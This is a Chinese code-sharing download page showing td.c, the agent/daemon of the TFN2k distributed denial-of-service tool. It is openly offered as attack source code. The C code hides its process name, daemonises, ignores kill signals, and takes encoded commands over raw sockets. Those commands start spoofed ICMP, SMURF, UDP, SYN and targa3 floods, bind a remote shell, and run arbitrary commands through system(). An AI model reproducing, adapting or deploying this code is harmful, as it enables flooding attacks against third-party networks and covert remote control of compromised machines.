分布式拒绝服务攻击DDos的著名攻击TFN2k的源码

源代码在线查看: td.c

软件大小: 32 K
上传用户: norwaybaby
关键词: TFN2k DDos 攻击 分布式
下载地址: 免注册下载 普通下载 VIP

相关代码

				/*				 * Tribe FloodNet - 2k edition				 * by Mixter 				 *				 * td.c - tribe flood server				 *				 * This program is distributed for educational purposes and without any				 * explicit or implicit warranty; in no event shall the author or				 * contributors be liable for any direct, indirect or incidental damages				 * arising in any way out of the use of this software.				 *				 */								#include "tribe.h"								extern int fw00ding, nospoof, port4syn, psize;				extern unsigned long myip;				extern void security_through_obscurity (int);								void tribe_cmd (char, char *, char **);								int				main (int argc, char **argv)				{				  char buf[BS], clear[BS];				  struct ip *iph = (struct ip *) buf;				  struct tribe *tribeh = (struct tribe *) clear;				  int isock, tsock, usock, i;				  char *p = NULL, *data = (clear + sizeof (struct tribe));				  fd_set rfds;								  isock = socket (AF_INET, SOCK_RAW, ICMP);				  tsock = socket (AF_INET, SOCK_RAW, TCP);				  usock = socket (AF_INET, SOCK_RAW, UDP);								  if (geteuid ())				    exit (-1);								  memset (argv[0], 0, strlen (argv[0]));				  strcpy (argv[0], HIDEME);				  close (0);				  close (1);				  close (2);				#ifndef WINDOZE				  if (fork ())				    exit (0);				#else				  switch (fork ())				    {				    case -1:				      perror ("fork");				      exit (0);				      break;				    case 0:				      break;				    default:				      break;				    }				#endif								  signal (SIGHUP, SIG_IGN);				  signal (SIGTERM, SIG_IGN);				  signal (SIGCHLD, SIG_IGN);								  while (1)				    {				      FD_ZERO (&rfds);				      FD_SET (isock, &rfds);				      FD_SET (usock, &rfds);				      FD_SET (tsock, &rfds);				      if (select (usock + 1, &rfds, NULL, NULL, NULL) < 1)					continue;				      if (FD_ISSET (isock, &rfds))					{					  i = read (isock, buf, BS) - (sizeof (struct ip) + sizeof (struct icmp));					  myip = htonl (iph->dst);					  if (i < 4)					    continue;					  p = (buf + sizeof (struct ip) + sizeof (struct icmp));					  if (!isprint (p[0]))					    continue;					  memset (clear, 0, BS);					  security_through_obscurity (1);					  decode64 (p, clear, i);					  memset (buf, 0, BS);					  security_through_obscurity (0);					  if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))					    tribe_cmd (tribeh->id, data, argv);					}				      if (FD_ISSET (tsock, &rfds))					{					  i = read (tsock, buf, BS) - (sizeof (struct ip) + sizeof (struct tcp));					  myip = htonl (iph->dst);					  if (i < 4)					    continue;					  p = (buf + sizeof (struct ip) + sizeof (struct tcp));					  if (!isprint (p[0]))					    continue;					  memset (clear, 0, BS);					  security_through_obscurity (1);					  decode64 (p, clear, i);					  memset (buf, 0, BS);					  security_through_obscurity (0);					  if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))					    tribe_cmd (tribeh->id, data, argv);					}				      if (FD_ISSET (usock, &rfds))					{					  i = read (usock, buf, BS) - (sizeof (struct ip) + sizeof (struct udp));					  myip = htonl (iph->dst);					  if (i < 4)					    continue;					  p = (buf + sizeof (struct ip) + sizeof (struct udp));					  if (!isprint (p[0]))					    continue;					  memset (clear, 0, BS);					  security_through_obscurity (1);					  decode64 (p, clear, i);					  memset (buf, 0, BS);					  security_through_obscurity (0);					  if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))					    tribe_cmd (tribeh->id, data, argv);					}				    }				/* 1 != 1 */				  return (0);				}								void				tribe_cmd (char id, char *target, char **argp)				{				#ifdef ATTACKLOG				  {				    char tmp[BS];				    sprintf (tmp, "PID %d CMD '%c' TARGET %s\n"					     ,getpid (), id, target);				    dbug (tmp);				  }				#endif								  switch (id)				    {				    case ID_ICMP:				      if (fw00ding)		/* already in progress, ignored */					break;				      fw00ding = 3;		/* commencing ICMP/8 flood */				      strcpy (argp[0], HIDEKIDS);				      commence_icmp (target);				      strcpy (argp[0], HIDEME);				      break;				    case ID_SMURF:				      if (fw00ding)		/* already in progress, ignored */					break;				      fw00ding = 4;		/* commencing SMURF broadcast flood */				      strcpy (argp[0], HIDEKIDS);				      commence_smurf (target);				      strcpy (argp[0], HIDEME);				      break;				    case ID_SENDUDP:				      if (fw00ding)		/* already in progress, ignored */					break;				      fw00ding = 1;		/* commencing UDP flood */				      strcpy (argp[0], HIDEKIDS);				      commence_udp (target);				      strcpy (argp[0], HIDEME);				      break;				    case ID_SENDSYN:				      if (fw00ding)		/* already in progress, ignored */					break;				      fw00ding = 2;		/* commencing SYN flood */				      strcpy (argp[0], HIDEKIDS);				      commence_syn (target, port4syn);				      strcpy (argp[0], HIDEME);				      break;				    case ID_STOPIT:				      if (!fw00ding)		/* this has no longer a meaning */					break;				      must_kill_all ();		/* all flood childs terminating */				      usleep (100);				      fw00ding = 0;				      break;				    case ID_SYNPORT:				      port4syn = atoi (target);	/* syn port set */				      break;				    case ID_PSIZE:				      psize = atoi (target);	/* new packet size */				      break;				    case ID_SWITCH:				      switch (atoi (target))					{					case 0:					  nospoof = 0;		/* spoof mask: *.*.*.* */					  break;					case 1:					  nospoof = 1;		/* spoof mask: real.*.*.* */					  break;					case 2:					  nospoof = 2;		/* spoof mask: real.real.*.* */					  break;					case 3:					  nospoof = 3;		/* spoof mask: real.real.real.* */					  break;					default:					  break;					}				      break;				    case ID_SHELL:				      shellsex (atoi (target));	/* shell bound to target port */				      break;				    case ID_TARGA:				      if (fw00ding)		/* already in progress, ignored */					break;				      fw00ding = 4;		/* commencing targa3 attack */				      strcpy (argp[0], HIDEKIDS);				      commence_targa3 (target);				      strcpy (argp[0], HIDEME);				      break;				    case ID_MIX:				      if (fw00ding)		/* already in progress, ignored */					break;				      fw00ding = 5;		/* commencing interval flood */				      strcpy (argp[0], HIDEKIDS);				      commence_mix (target);				      strcpy (argp[0], HIDEME);				      break;				    case ID_REXEC:				      system (target);				      break;				    default:				      break;				    }				}							

相关资源